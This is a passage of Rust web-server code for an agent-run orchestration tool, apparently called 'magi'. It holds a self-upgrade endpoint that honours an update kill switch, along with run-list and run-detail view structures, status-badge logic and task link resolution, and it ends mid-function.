3593fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3594    match result {
3595        Ok(out) => {
3596            *ui.upgrade_request_error
3597                .lock()
3598                .unwrap_or_else(PoisonError::into_inner) = None;
3599            out.into_response()
3600        }
3601        Err(error) if error.status != StatusCode::CONFLICT => {
3602            let failure = UpgradeRequestFailure::new(error.message);
3603            *ui.upgrade_request_error
3604                .lock()
3605                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3606            let mut response = (error.status, Json(&failure)).into_response();
3607            if let Some(value) = failure
3608                .retry_after_secs
3609                .and_then(|secs| secs.to_string().parse().ok())
3610            {
3611                response.headers_mut().insert("retry-after", value);
3612            }
3613            response
3614        }
3615        Err(error) => error.into_response(),
3616    }
3617}
3618
3619async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3620    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3621        return Err(ApiError::conflict(
3622            "an upgrade is already in progress (this process started one and it \
3623             has not finished or failed yet)",
3624        ));
3625    }
3626    let recorded = updater::read_progress(&ui.home);
3627    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3628        return Err(ApiError::conflict(format!(
3629            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3630             stays stuck, restart the deck; on start it settles a stale record.",
3631            p.stage.as_str(),
3632            p.from,
3633            p.to.as_deref().unwrap_or("?"),
3634        )));
3635    }
3636
3637    // The same kill switch the background check honours (`disabled_by_env`),
3638    // checked before anything else for the same reason it is read before the
3639    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3640    // contact GitHub from this process", and a button press must not
3641    // override that any more than a broken `magi.toml` may.
3642    if crate::updater::disabled_by_env() {
3643        return Ok((
3644            StatusCode::OK,
3645            Json(UpgradeView {
3646                from: env!("CARGO_PKG_VERSION").to_owned(),
3647                to: None,
3648                detail: format!(
3649                    "Automatic updates are disabled by {}. Nothing was parked \
3650                     and nothing restarted.",
3651                    crate::updater::NO_AUTOUPDATE_ENV
3652                ),
3653            }),
3654        ));
3655    }
3656
3657    // Check before disturbing listeners or scheduling: no available update
3658    // means there is no reason to restart anything.
3659    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3660    let from = env!("CARGO_PKG_VERSION").to_owned();
3661    let latest = match crate::updater::Checker::new(&cfg.update) {
3662        Some(checker) => checker.newer_release().await,
3663        None => Ok(None),
3664    };
3665    upgrade_checked(ui, from, latest)
3666}
3667
3668fn upgrade_checked(
3669    ui: &Arc<Ui>,
3670    from: String,
3671    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3672) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3673    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3674}
3675
3676fn upgrade_checked_for(
3677    ui: &Arc<Ui>,
3678    from: String,
3679    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3680    trigger: updater::UpgradeTrigger,
3681) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3682    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3683    let Some(latest) = latest else {
3684        return Ok((
3685            StatusCode::OK,
3686            Json(UpgradeView {
3687                from,
3688                to: None,
3689                detail: "Already on the newest release. Nothing was parked \
3690                         and nothing restarted."
3691                    .to_owned(),
3692            }),
3693        ));
3694    };
3695
3696    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3697        let detail = format!("cannot determine scheduler restart state: {error:#}");
3698        if trigger == updater::UpgradeTrigger::Auto {
3699            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3700        }
3701        return Err(ApiError::internal(detail));
3702    }
3703    if trigger == updater::UpgradeTrigger::Auto {
3704        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3705    }
3706
3707    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3708
3709    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3710    // poll must see a `Downloading` stage immediately, not whenever the
3711    // spawned task happens to get scheduled.
3712    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3713    progress.trigger = trigger;
3714    updater::write_progress_logged(&ui.home, &progress);
3715
3716    let home = ui.home.clone();
3717    ui.upgrade_spawned
3718        .store(true, std::sync::atomic::Ordering::SeqCst);
3719    let spawned = Arc::clone(&ui.upgrade_spawned);
3720    let runner = ui.upgrade_runner;
3721    let failed = ui.auto_failed_tag.clone();
3722    let tag = latest.tag_name.clone();
3723    tokio::spawn(async move {
3724        if let Err(e) = runner(home.clone()).await {
3725            if trigger == updater::UpgradeTrigger::Auto {
3726                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3727            }
3728            tracing::error!("the upgrade did not complete: {e:#}");
3729            // A failure of this attempt says nothing about a handover an
3730            // earlier request already has in flight; checked and written
3731            // under the progress lock.
3732            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3733            // Release only after failure bookkeeping, before accepting a retry.
3734            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3735        }
3736    });
3737
3738    Ok((
3739        StatusCode::ACCEPTED,
3740        Json(UpgradeView {
3741            from,
3742            to: Some(latest.tag_name),
3743            detail,
3744        }),
3745    ))
3746}
3747
3748/// Replace the binary, then ask [`serve`] to hand the address over.
3749///
3750/// Separated from the handler so the 202 is already on its way, and separated
3751/// from the spawn so the successor starts only after the listener is dropped.
3752async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3753    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3754    // hang the upgrade for as long as the process lives.
3755    crate::updater::run_self_update(true, false, true).await?;
3756    updater::log_step(&home, "binary replaced - recording the replaced stage");
3757    if let Some(mut progress) = updater::read_progress(&home) {
3758        progress.advance(updater::Stage::Replaced);
3759        updater::write_progress_logged(&home, &progress);
3760    }
3761    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3762    HANDOVER.notify_one();
3763    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3764    Ok(())
3765}
3766
3767/// One row in the run list.
3768///
3769/// The list route returns this rather than whole `RunState`s: the summary of a
3770/// run is a few hundred bytes and the state is megabytes, and the difference
3771/// is what makes the history usable on a mobile link.
3772#[derive(Debug, Serialize)]
3773struct RunSummary {
3774    activity: String,
3775    id: String,
3776    short: String,
3777    status: String,
3778    done: bool,
3779    instruction: String,
3780    title: String,
3781    repo: String,
3782    repo_name: String,
3783    created_at: String,
3784    updated_at: String,
3785    candidates: usize,
3786    viable: usize,
3787    judges: usize,
3788    winner: Option<char>,
3789    reviews: usize,
3790    quota_losses: usize,
3791    event: Option<String>,
3792    /// The later attempt at the same task that replaced this one, if any.
3793    ///
3794    /// Two cards with one title is otherwise unreadable: this is what lets
3795    /// the deck say "superseded by 4043" on the older of the pair.
3796    superseded_by: Option<String>,
3797    /// Blocked on a question nobody has answered.
3798    ///
3799    /// Derived from the question store rather than stored on the run: an agent
3800    /// calling `magi ask` blocks mid-node, and writing a status from there
3801    /// would race the graph's own save of `run.json` and be overwritten at the
3802    /// next node boundary. Asking the store is always true and never races.
3803    waiting: bool,
3804    /// Whether the process recorded as driving this run can still be proven
3805    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3806    /// rather than presenting its last graph node as still in flight.
3807    live: crate::run::Liveness,
3808    /// The land loop's last look at the pull request, when there is one.
3809    pr: Option<crate::run::PrRecord>,
3810    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3811    /// design — never picked up by the PR-polling merge watcher, unlike an
3812    /// ordinary `Ready` that may still be a live landing candidate. See
3813    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3814    /// re-deriving the same check from `status` and `merge.mode` itself.
3815    unmerged_by_design: bool,
3816    /// Derived presentation status matching [`RunDetailView::display_status`].
3817    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3818    #[serde(default)]
3819    display_status: String,
3820    /// What the status badge shows: `display_status`, or `superseded` for a
3821    /// non-live run a later attempt replaced. See [`run_badge_status`].
3822    #[serde(default)]
3823    badge_status: String,
3824    /// Who started the run, as the one label every surface shares; the
3825    /// "origin unknown" wording when the record predates origins.
3826    origin_label: String,
3827}
3828
3829impl RunSummary {
3830    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3831        Self {
3832            activity: crate::run_progress::activity(state, live, waiting),
3833            id: state.id.clone(),
3834            short: state.short().to_owned(),
3835            status: status_word(state.status),
3836            done: state.status.done(),
3837            unmerged_by_design: state.unmerged_by_design(),
3838            display_status: run_display_status(state, waiting, live),
3839            badge_status: run_display_status(state, waiting, live),
3840            instruction: state.instruction.clone(),
3841            title: title_from(&state.instruction, TITLE_MAX),
3842            repo: state.repo.display().to_string(),
3843            repo_name: state
3844                .repo
3845                .file_name()
3846                .map(|n| n.to_string_lossy().into_owned())
3847                .unwrap_or_default(),
3848            created_at: state.created_at.to_string(),
3849            updated_at: state.updated_at.to_string(),
3850            candidates: state.candidates.len(),
3851            viable: state.viable().len(),
3852            judges: state.config.graph.judges,
3853            winner: state.winner().map(|c| c.label),
3854            reviews: state.reviews.len(),
3855            quota_losses: state.quota.len(),
3856            event: state
3857                .verification_blocking_cause()
3858                .or_else(|| state.events.last().map(|e| e.message.clone())),
3859            waiting,
3860            live,
3861            // Filled in by the list route, which is the only place that can
3862            // see a task's other attempts.
3863            superseded_by: None,
3864            pr: state.pr.clone(),
3865            origin_label: crate::run::origin_label(state.origin.as_ref()),
3866        }
3867    }
3868}
3869
3870/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3871/// the same string `serde` writes for the status inside a full run.
3872fn status_word(status: RunStatus) -> String {
3873    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3874    // was a third way of naming the same statuses, and one that changed
3875    // silently with a derive.
3876    status.as_str().to_owned()
3877}
3878
3879/// The presentation status for a run, unified across summaries and details.
3880///
3881/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3882/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3883/// runs awaiting operator answers.
3884fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3885    if waiting {
3886        return "waiting".to_owned();
3887    }
3888    if state.unmerged_by_design() {
3889        return "unmerged".to_owned();
3890    }
3891    if !state.status.done() && live == crate::run::Liveness::Dead {
3892        // The driver claim clears this flag before saving another event.
3893        // A previous park event can therefore outlive a resumed driver.
3894        if state.parked {
3895            return "parked".to_owned();
3896        }
3897        return "stale".to_owned();
3898    }
3899    status_word(state.status)
3900}
3901
3902/// The word a run's status badge shows: `display_status`, except that a
3903/// non-terminal run which is not provably live and was replaced by a later
3904/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3905///
3906/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3907/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3908/// own word, so superseded never claims more than "not live".
3909fn run_badge_status(
3910    state: &RunState,
3911    display_status: &str,
3912    live: crate::run::Liveness,
3913    superseded: bool,
3914) -> String {
3915    if state.status.done() || live == crate::run::Liveness::Live {
3916        return display_status.to_owned();
3917    }
3918    if superseded {
3919        return "superseded".to_owned();
3920    }
3921    // A dead run's `display_status` is `stale`, except that a deliberate park
3922    // and an open owner question keep their own word: neither is a crash, and
3923    // the question still needs an answer. Anything else dead reads `stale`.
3924    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3925        return "stale".to_owned();
3926    }
3927    display_status.to_owned()
3928}
3929
3930/// `?limit=`, clamped by the handler.
3931#[derive(Debug, Deserialize)]
3932struct ListQuery {
3933    #[serde(default)]
3934    limit: Option<usize>,
3935    /// Exact ids only; an empty value requests no rows (except queue blockers).
3936    ids: Option<String>,
3937}
3938
3939impl ListQuery {
3940    fn contains(&self, id: &str) -> bool {
3941        self.ids
3942            .as_ref()
3943            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3944    }
3945}
3946
3947async fn runs_list(
3948    State(ui): State<Arc<Ui>>,
3949    Query(q): Query<ListQuery>,
3950) -> ApiResult<Json<Vec<RunSummary>>> {
3951    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3952    blocking(move || {
3953        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3954        let states = run_ids(&ui.runs)
3955            .into_iter()
3956            // A run whose state cannot be read is skipped, not fatal: a run
3957            // killed mid-write must not blank the history of every other one.
3958            // The detail route still explains it, which is where an operator
3959            // asking "what happened to that run" ends up.
3960            .filter_map(|id| read_run(&ui.runs, &id).ok())
3961            .take(limit)
3962            .filter(|run| q.contains(&run.id));
3963        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3964        let summaries = summarize(
3965            states,
3966            &open_runs,
3967            &claimed,
3968            &superseded,
3969            |p| probe.borrow_mut().status(p),
3970            |p| probe.borrow_mut().started_at(p),
3971        );
3972        Ok(Json(summaries))
3973    })
3974    .await
3975}
3976
3977/// Everything the per-run rows share, read once: runs with an open question,
3978/// runs a live daemon claims, and the superseded map. Asking per run re-read
3979/// every question file and the daemon status file for each of hundreds of
3980/// runs, and spawned a process probe per run on Windows.
3981fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3982    let open_runs: HashSet<String> = ui
3983        .questions
3984        .list()
3985        .into_iter()
3986        .filter(|q| q.status.open())
3987        .map(|q| q.run)
3988        .collect();
3989    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3990        .into_iter()
3991        .map(|c| c.run)
3992        .collect();
3993    (open_runs, claimed, ui.queue.superseded())
3994}
3995
3996/// The rows of the run list, given everything that is shared between them.
3997///
3998/// Pure over its inputs so a test can count how often the process queries are
3999/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4000/// takes, called at most once per run.
4001fn summarize<I, S, D>(
4002    states: I,
4003    open_runs: &HashSet<String>,
4004    claimed: &HashSet<String>,
4005    superseded: &HashMap<String, String>,
4006    mut status_q: S,
4007    mut identity_q: D,
4008) -> Vec<RunSummary>
4009where
4010    I: IntoIterator<Item = RunState>,
4011    S: FnMut(u32) -> Option<bool>,
4012    D: FnMut(u32) -> Option<String>,
4013{
4014    states
4015        .into_iter()
4016        .map(|state| {
4017            let waiting = open_runs.contains(&state.id);
4018            let live =
4019                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4020            let mut row = RunSummary::of(&state, waiting, live);
4021            row.superseded_by = state
4022                .pr_taken_over_by
4023                .as_ref()
4024                .or_else(|| superseded.get(&state.id))
4025                .map(String::as_str)
4026                .map(crate::run::short_of)
4027                .map(str::to_owned);
4028            row.badge_status = run_badge_status(
4029                &state,
4030                &row.display_status,
4031                live,
4032                row.superseded_by.is_some(),
4033            );
4034            row
4035        })
4036        .collect()
4037}
4038
4039/// A run as the detail route hands it to the phone.
4040///
4041/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4042/// the instruction as markdown, and the raw `instruction` field this struct
4043/// still carries (unchanged) is what a client wanting the exact bytes reads
4044/// instead.
4045#[derive(Debug, Serialize)]
4046struct RunDetailView {
4047    progress: crate::run_progress::Progress,
4048    stop_reason: Option<String>,
4049    #[serde(flatten)]
4050    state: RunState,
4051    instruction_md: Vec<md::Node>,
4052    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4053    /// mirror the records they come from, index for index; the raw strings
4054    /// stay in `state` and decide whether a block is shown at all.
4055    #[serde(flatten)]
4056    prose_md: RunProseMd,
4057    /// Whether a process is actually still driving this run: `"live"`,
4058    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4059    ///
4060    /// `state.active` (flattened in above) is only ever cleared by the
4061    /// process that populated it; a killed one leaves its last wave's
4062    /// entries behind. Carrying this alongside is what lets the phone rail
4063    /// tell "this seat is still answering" from "this seat was still
4064    /// answering when whatever was driving this run died" without a second
4065    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4066    /// proof of either. A string rather than a bool on purpose: a daemon
4067    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4068    /// and neither proven is `"unknown"` — folding that third case into
4069    /// either end of a bool is exactly the wrong call for a phone screen an
4070    /// operator uses to decide whether to wait or to act.
4071    live: crate::run::Liveness,
4072    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4073    /// alongside the flattened `state` rather than inside it, since
4074    /// `RunState` has no business knowing which of its own methods a caller
4075    /// wants serialized.
4076    unmerged_by_design: bool,
4077    /// Same field and meaning as [`RunSummary::waiting`].
4078    #[serde(default)]
4079    waiting: bool,
4080    /// Same derived presentation status as [`RunSummary::display_status`].
4081    #[serde(default)]
4082    display_status: String,
4083    /// Same field and meaning as [`RunSummary::badge_status`].
4084    #[serde(default)]
4085    badge_status: String,
4086    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4087    /// terminal. The client's `landView` keys on it, and the flattened state
4088    /// has no such field, so without it a finished run's stale `open` PR
4089    /// would be painted as live on the detail page.
4090    done: bool,
4091    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4092    /// route fills it from [`Queue::superseded`], the detail route from
4093    /// [`Queue::superseded_by`], and both read the same underlying task
4094    /// order. Without this the detail page could only ever show a red
4095    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4096    /// with nothing anywhere saying so — an operator opening it had no way
4097    /// to tell "this is done elsewhere" from "this still needs a retry".
4098    superseded_by: Option<String>,
4099    /// The task's current attempt, when this run is an older one — resolved
4100    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4101    /// the client to derive.
4102    ///
4103    /// Three things a client cannot safely do on its own drove this onto the
4104    /// server: it has to name the chain's *current head*, not just the next
4105    /// attempt (`superseded_by` above), because an intermediate retry in a
4106    /// longer chain can itself still be unresolved; it has to resolve to a
4107    /// real id rather than a short id a client would have to guess a full id
4108    /// from, which is ambiguous the moment two runs share a suffix; and it
4109    /// has to read that head's own status directly, because whether a run
4110    /// list a client happens to have cached even contains that attempt
4111    /// depends on a page limit this route knows nothing about.
4112    latest_attempt: Option<LatestAttempt>,
4113    /// The queue task this run belongs to, so the detail page can link back
4114    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4115    task: Option<TaskRef>,
4116    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4117    /// run recorded before origins existed. `origin` itself (flattened in
4118    /// with `state`) is `null` in that case.
4119    origin_label: String,
4120    /// Each recorded pass over this run, with the cause it stopped for. Empty
4121    /// for a run from before passes were kept: its earlier passes are unknown.
4122    pass_views: Vec<PassView>,
4123}
4124
4125/// A task named from a run's detail page.
4126#[derive(Debug, Serialize)]
4127struct TaskRef {
4128    id: String,
4129    short: String,
4130    title: String,
4131    /// [`Source::label`], e.g. `chat@a1b2`.
4132    source_label: String,
4133    /// Where the task came from, when that place has a page; see [`source_link`].
4134    source_link: Option<SourceLink>,
4135    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4136    status: &'static str,
4137    attempts: usize,
4138    max_attempts: usize,
4139    /// This run is the last entry of the task's run list.
4140    is_latest: bool,
4141    /// The task's newest run, when it is not this one.
4142    latest: Option<RunBrief>,
4143    /// The run that finished a `done` task (merged, or already in the base).
4144    finished_by: Option<RunBrief>,
4145    /// The task is `done` but no run on record finished it: closed by hand.
4146    closed_by_hand: bool,
4147}
4148
4149/// The page that filed a task, as the UI links to it.
4150#[derive(Debug, PartialEq, Eq, Serialize)]
4151struct SourceLink {
4152    /// `chat` (a conversation) or `run` (a run's node).
4153    kind: &'static str,
4154    /// The full id, never the short one in the label.
4155    id: String,
4156    /// The hash route that opens it.
4157    href: String,
4158}
4159
4160/// Percent-encode everything outside the URL-unreserved set.
4161fn encode_segment(raw: &str) -> String {
4162    let mut out = String::with_capacity(raw.len());
4163    for b in raw.bytes() {
4164        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4165            out.push(b as char);
4166        } else {
4167            out.push_str(&format!("%{b:02X}"));
4168        }
4169    }
4170    out
4171}
4172
4173/// The one place that decides where a task's source links to. A chat
4174/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4175/// a person or an imported issue has no page, so no link.
4176fn source_link(source: &Source) -> Option<SourceLink> {
4177    let Source::Agent { run, node } = source else {
4178        return None;
4179    };
4180    let (kind, route) = if node == crate::queue::CHAT_NODE {
4181        ("chat", "chat")
4182    } else {
4183        ("run", "runs")
4184    };
4185    Some(SourceLink {
4186        kind,
4187        id: run.clone(),
4188        href: id_links::page_href(route, run),
4189    })
4190}
4191
4192/// The parent task of a follow-up, when its file can still be read.
4193#[derive(Debug, Serialize, PartialEq)]
4194struct FollowUpParent {
4195    id: String,
4196    short: String,
4197    title: String,
4198    /// The parent's own status (`TaskStatus::as_str`).
4199    status: &'static str,
4200    href: String,
4201}
4202
4203/// The merged run a follow-up was filed from.
4204#[derive(Debug, Serialize, PartialEq)]
4205struct FollowUpRun {
4206    id: String,
4207    short: String,
4208    /// `None` when the run's record cannot be read.
4209    status: Option<&'static str>,
4210    /// `None` unless the record could be read: never a dead link.
4211    href: Option<String>,
4212}
4213
4214/// Where a follow-up task came from, resolved once per task page so the flow
4215/// chart and the detail block cannot disagree. See [`followup_origin`].
4216#[derive(Debug, Serialize, PartialEq)]
4217struct FollowUpOrigin {
4218    /// Present only when `origin_task` is set and that task still exists.
4219    parent: Option<FollowUpParent>,
4220    run: FollowUpRun,
4221    /// The merged pull request, verbatim. Not an href: the client passes it
4222    /// through `forgeUrl()` and renders text when that refuses it (the one
4223    /// exception to "the href rule is Rust's alone", since a forge URL is
4224    /// data from a record, not a route).
4225    pr: String,
4226    findings: Vec<String>,
4227    generation: u32,
4228}
4229
4230/// The one place that decides what a follow-up links to. A parent that cannot
4231/// be read (gone, or an id that names nothing) is `None`, never an error.
4232fn followup_origin(
4233    fu: &crate::queue::FollowUp,
4234    task: impl Fn(&str) -> Option<Task>,
4235    run: impl Fn(&str) -> Option<RunState>,
4236) -> FollowUpOrigin {
4237    let parent = fu
4238        .origin_task
4239        .as_deref()
4240        .and_then(task)
4241        .map(|t| FollowUpParent {
4242            short: t.short().to_owned(),
4243            href: format!("#/tasks/{}", encode_segment(&t.id)),
4244            status: t.status.as_str(),
4245            title: t.title,
4246            id: t.id,
4247        });
4248    let state = run(&fu.run);
4249    FollowUpOrigin {
4250        parent,
4251        run: FollowUpRun {
4252            short: run::short_of(&fu.run).to_owned(),
4253            status: state.as_ref().map(|s| s.status.as_str()),
4254            href: state
4255                .is_some()
4256                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4257            id: fu.run.clone(),
4258        },
4259        pr: fu.pr.clone(),
4260        findings: fu.findings.clone(),
4261        generation: fu.generation,
4262    }
4263}
4264
4265/// Another run of the same task, as named from a run's detail page.
4266#[derive(Debug, Serialize)]
4267struct RunBrief {
4268    id: String,
4269    short: String,
4270    /// `None` when the run's record cannot be read.
4271    status: Option<&'static str>,
4272    /// The task-page wording for how that pass ended.
4273    outcome: String,
4274    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4275    badge: Option<String>,
4276}
4277
4278/// The task's overall outcome as seen from `this_run`'s page, classified with
4279/// the same exits the task page's flowchart uses.
4280fn task_outcome(
4281    task: &Task,
4282    this_run: &str,
4283    max_attempts: usize,
4284    read: impl Fn(&str) -> Option<RunState>,
4285) -> TaskRef {
4286    let max_attempts = task.effective_attempt_limit(max_attempts);
4287    let history = task_history(task, read);
4288    let brief = |h: &TaskRunView| RunBrief {
4289        id: h.id.clone(),
4290        short: h.short.clone(),
4291        status: h.status,
4292        outcome: h.exit.edge_label(h.status),
4293        badge: h.badge.clone(),
4294    };
4295    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4296    let latest = if is_latest {
4297        None
4298    } else {
4299        history.last().map(brief)
4300    };
4301    let done = task.status == TaskStatus::Done;
4302    let finished_by = done
4303        .then(|| {
4304            history
4305                .iter()
4306                .rev()
4307                .find(|h| {
4308                    matches!(
4309                        h.exit,
4310                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4311                    )
4312                })
4313                .map(brief)
4314        })
4315        .flatten();
4316    TaskRef {
4317        short: task.short().to_owned(),
4318        title: task.title.clone(),
4319        id: task.id.clone(),
4320        source_label: task.source.label(),
4321        source_link: source_link(&task.source),
4322        status: task.status.as_str(),
4323        attempts: task.attempts,
4324        max_attempts,
4325        is_latest,
4326        latest,
4327        closed_by_hand: done && finished_by.is_none(),
4328        finished_by,
4329    }
4330}
4331
4332/// The task's current attempt, as seen from an older one's detail page.
4333#[derive(Debug, Serialize)]
4334struct LatestAttempt {
4335    id: String,
4336    short: String,
4337    /// Whether this attempt itself settled with a result nobody needs to
4338    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4339    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4340    /// unconfirmed claim that no change was needed, which is exactly why it
4341    /// settles the task through `Held` rather than `Done` and still waits on
4342    /// a human to check the evidence; showing an older run as "finished
4343    /// elsewhere" on the strength of an unverified claim would bury the
4344    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4345    /// in-flight status are excluded because they are exactly the
4346    /// unresolved states this field exists to tell apart from a real finish.
4347    resolved: bool,
4348    /// The attempt's own recorded status, so the page can say where it
4349    /// stands while it is not resolved yet.
4350    status: RunStatus,
4351    /// Whether that status is terminal (nothing is still running it).
4352    done: bool,
4353}
4354
4355/// Markdown for the free-text prose of a run, parallel to `RunState`.
4356#[derive(Debug, Default, Serialize)]
4357struct RunProseMd {
4358    /// `None` when the run has no design deliberation.
4359    advice_md: Option<AdviceMd>,
4360    /// One entry per candidate: the summary.
4361    candidate_summaries_md: Vec<Vec<md::Node>>,
4362    /// One entry per review round, in `reviews` order.
4363    reviews_md: Vec<RoundMd>,
4364}
4365
4366#[derive(Debug, Default, Serialize)]
4367struct AdviceMd {
4368    synthesis: Vec<md::Node>,
4369    /// One per record; empty for a seat with no proposal.
4370    approaches: Vec<Vec<md::Node>>,
4371}
4372
4373#[derive(Debug, Default, Serialize)]
4374struct RoundMd {
4375    /// One per reviewer record.
4376    reviewers: Vec<ReviewerMd>,
4377    /// One per `reconsideration` entry: the reason.
4378    reconsideration: Vec<Vec<md::Node>>,
4379    fix: Option<FixMd>,
4380}
4381
4382#[derive(Debug, Default, Serialize)]
4383struct ReviewerMd {
4384    summary: Vec<md::Node>,
4385    /// One per finding, in recorded order (not the display order).
4386    findings: Vec<Vec<md::Node>>,
4387}
4388
4389#[derive(Debug, Default, Serialize)]
4390struct FixMd {
4391    notes: Vec<md::Node>,
4392    /// One per rejection: the argument.
4393    rejected: Vec<Vec<md::Node>>,
4394}
4395
4396/// Parse a run's agent-written prose; a pure function of the state.
4397fn run_prose_md(state: &RunState) -> RunProseMd {
4398    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4399    RunProseMd {
4400        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4401            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4402            approaches: a
4403                .records
4404                .iter()
4405                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4406                .collect(),
4407        }),
4408        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4409        reviews_md: state
4410            .reviews
4411            .iter()
4412            .map(|round| RoundMd {
4413                reviewers: round
4414                    .reviews
4415                    .iter()
4416                    .map(|rec| ReviewerMd {
4417                        summary: nodes(&rec.summary),
4418                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4419                    })
4420                    .collect(),
4421                reconsideration: round
4422                    .reconsideration
4423                    .iter()
4424                    .map(|rv| nodes(&rv.reason))
4425                    .collect(),
4426                fix: round.fix.as_ref().map(|fix| FixMd {
4427                    notes: nodes(&fix.notes),
4428                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4429                }),
4430            })
4431            .collect(),
4432    }
4433}
4434
4435impl RunDetailView {
4436    fn of(
4437        state: RunState,
4438        waiting: bool,
4439        live: crate::run::Liveness,
4440        superseded_by: Option<String>,
4441        latest_attempt: Option<LatestAttempt>,
4442        task: Option<TaskRef>,
4443    ) -> Self {
4444        let display_status = run_display_status(&state, waiting, live);
4445        let stop_reason = crate::stop_reason::of(
4446            &state,
4447            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4448        );
4449        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4450        Self {
4451            progress: crate::run_progress::build(&state, live, waiting),
4452            stop_reason,
4453            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4454            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4455            prose_md: run_prose_md(&state),
4456            origin_label: crate::run::origin_label(state.origin.as_ref()),
4457            live,
4458            unmerged_by_design: state.unmerged_by_design(),
4459            waiting,
4460            display_status,
4461            badge_status,
4462            done: state.status.done(),
4463            superseded_by,
4464            latest_attempt,
4465            task,
4466            state,
4467        }
4468    }
4469}
4470
4471/// Core content needs neither the queue nor question/liveness evidence.
4472async fn run_core(
4473    State(ui): State<Arc<Ui>>,
4474    Path(id): Path<String>,
4475) -> ApiResult<Json<RunDetailView>> {
4476    blocking(move || {
4477        let id = resolve_run(&ui.runs, &id)?;
4478        let state = read_run(&ui.runs, &id)?;
4479        Ok(Json(RunDetailView::of(
4480            state,
4481            false,
4482            crate::run::Liveness::Unknown,
4483            None,
4484            None,
4485            None,
4486        )))
4487    })
4488    .await
4489}
4490
4491/// Lightweight observation: never replaces the evidence used by controls.
4492async fn run_progress(
4493    State(ui): State<Arc<Ui>>,
